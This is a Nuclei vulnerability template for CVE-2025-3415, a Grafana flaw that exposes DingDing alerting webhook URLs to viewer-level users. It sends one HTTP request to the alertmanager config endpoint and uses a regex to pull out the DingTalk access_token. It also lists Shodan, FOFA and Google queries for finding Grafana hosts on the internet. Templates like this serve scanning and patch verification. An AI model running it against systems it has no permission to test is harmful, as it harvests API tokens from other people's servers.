漏洞描述
An incident occurred where the DingDing alerting integration URL was inadvertently exposed to viewers due to a setting oversight in versions below or equals to 12.0.1.
id: CVE-2025-3415
info:
name: Grafana - Exposes DingDing API Keys
author: lucasribolli
severity: medium
description: |
An incident occurred where the DingDing alerting integration URL was inadvertently exposed to viewers due to a setting oversight in versions below or equals to 12.0.1.
reference:
- https://grafana.com/blog/2025/06/13/grafana-security-update-medium-severity-security-release-for-cve-2025-3415/
classification:
epss-score: 0.00254
epss-percentile: 0.48562
metadata:
verified: true
max-request: 1
vendor: grafana
product: grafana
shodan-query:
- http.title:"grafana"
- cpe:"cpe:2.3:a:grafana:grafana"
fofa-query:
- title="grafana"
- app="grafana"
google-query: intitle:"grafana"
tags: cve,cve2025,grafana,dingding,dingtalk,apikey,vkev,vuln
http:
- raw:
- |
GET /api/alertmanager/grafana/config/api/v1/alerts HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains_all(body, "dingtalk.com","dingding-context")'
- 'contains(content_type, "application/json")'
- 'status_code == 200'
condition: and
extractors:
- type: regex
name: dingding-integration-url
part: body
regex:
- '(?i)https?://oapi\.dingtalk\.com/robot/send\?access_token=[^&"\s]+'
# digest: 4b0a00483046022100ba9b204f2862bcc8a2ad5e585b9e95f6b101e12760edd405797d5360cad655c4022100e4278a92291003cea31435ee16ef26787d6f9b8f1750fdb4f0eb299250643914:922c64590222798bb761d5b6d8e72950